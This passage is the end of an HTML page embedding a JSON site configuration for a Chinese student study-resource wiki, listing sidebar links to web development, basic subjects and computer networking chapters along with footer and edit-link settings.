,\"/技术资源汇总(杭电支持版)/7.网络应用开发/\":[{\"text\":\"返回上一层\",\"link\":\"/技术资源汇总(杭电支持版)/内容索引\"},{\"text\":\"7.网络应用开发\",\"collapsed\":false,\"items\":[{\"text\":\"7.网络应用开发入门\",\"link\":\"/技术资源汇总(杭电支持版)/7.网络应用开发/7.网络应用开发入门\"},{\"text\":\"7.1WEB开发入门\",\"link\":\"/技术资源汇总(杭电支持版)/7.网络应用开发/7.1WEB开发入门\"},{\"text\":\"7.2前端部分\",\"collapsed\":true,\"items\":[{\"text\":\"7.2.1基础(三件套)\",\"link\":\"/技术资源汇总(杭电支持版)/7.网络应用开发/7.2.1基础(三件套)\"},{\"text\":\"7.2.2进阶(小项目)\",\"link\":\"/技术资源汇总(杭电支持版)/7.网络应用开发/7.2.2进阶(小项目)\"},{\"text\":\"7.2.3附录1:前端介绍(详细版)\",\"link\":\"/技术资源汇总(杭电支持版)/7.网络应用开发/7.2.3附录1:前端介绍(详细版)\"},{\"text\":\"7.2.4附录2:大前端开发\",\"link\":\"/技术资源汇总(杭电支持版)/7.网络应用开发/7.2.4附录2:大前端开发\"},{\"text\":\"7.2.5附录3:跨端开发\",\"link\":\"/技术资源汇总(杭电支持版)/7.网络应用开发/7.2.5附录3:跨端开发\"}]},{\"text\":\"7.3后端部分\",\"collapsed\":true,\"items\":[{\"text\":\"7.3后端部分\",\"link\":\"/技术资源汇总(杭电支持版)/7.网络应用开发/7.3后端部分\"},{\"text\":\"7.3.1基础部分\",\"link\":\"/技术资源汇总(杭电支持版)/7.网络应用开发/7.3.1基础部分\"},{\"text\":\"7.3.2进阶部分\",\"link\":\"/技术资源汇总(杭电支持版)/7.网络应用开发/7.3.2进阶部分\"}]}]}],\"/技术资源汇总(杭电支持版)/8.基础学科/\":[{\"text\":\"返回上一层\",\"link\":\"/技术资源汇总(杭电支持版)/内容索引\"},{\"text\":\"8.基础学科\",\"collapsed\":false,\"items\":[{\"text\":\"8.基础学科\",\"link\":\"/技术资源汇总(杭电支持版)/8.基础学科/8.基础学科\"},{\"text\":\"8.1经济学科普Part1\",\"link\":\"/技术资源汇总(杭电支持版)/8.基础学科/8.1经济学科普Part1\"}]}],\"/技术资源汇总(杭电支持版)/9.计算机网络/\":[{\"text\":\"返回上一层\",\"link\":\"/技术资源汇总(杭电支持版)/内容索引\"},{\"text\":\"9.计算机网络\",\"collapsed\":false,\"items\":[{\"text\":\"9 计算机网络\",\"link\":\"/技术资源汇总(杭电支持版)/9.计算机网络/9.计算机网络\"},{\"text\":\"9.1 计网速通\",\"link\":\"/技术资源汇总(杭电支持版)/9.计算机网络/9.1计网速通\"},{\"text\":\"9.2.1 物理层(待完成)\"},{\"text\":\"9.2.2 链路层(待完成)\"},{\"text\":\"9.2.3 网络层\",\"collapsed\":true,\"items\":[{\"text\":\"9.2.3 网络层\",\"link\":\"/技术资源汇总(杭电支持版)/9.计算机网络/9.2.3网络层\"},{\"text\":\"9.2.3.1 IP 协议\",\"link\":\"/技术资源汇总(杭电支持版)/9.计算机网络/9.2.3.1IP协议\"},{\"text\":\"9.2.3.2 子网与无类域间路由\",\"link\":\"/技术资源汇总(杭电支持版)/9.计算机网络/9.2.3.2子网与无类域间路由\"}]}]}]},\"socialLinks\":[{\"icon\":\"github\",\"link\":\"https://gitea.xinxijishubu.asia/moyin/fzu-product\"}],\"search\":{\"provider\":\"local\"},\"footer\":{\"message\":\"Made with ❤️ by ALL 协作者\",\"copyright\":\"Copyright © 2023-present Evan You && ALL 协作者\"},\"lastUpdatedText\":\"上次更改\",\"docFooter\":{\"prev\":\"上一小节\",\"next\":\"下一小节\"},\"editLink\":{\"pattern\":\"https://gitea.xinxijishubu.asia/moyin/fzu-product/src/branch/main/:path\",\"text\":\"在 Gitea 上修改此页\"},\"externalLinkIcon\":true},\"locales\":{},\"scrollOffset\":134,\"cleanUrls\":false}");</script>
|
||
|
||
</body>
|
||
</html> |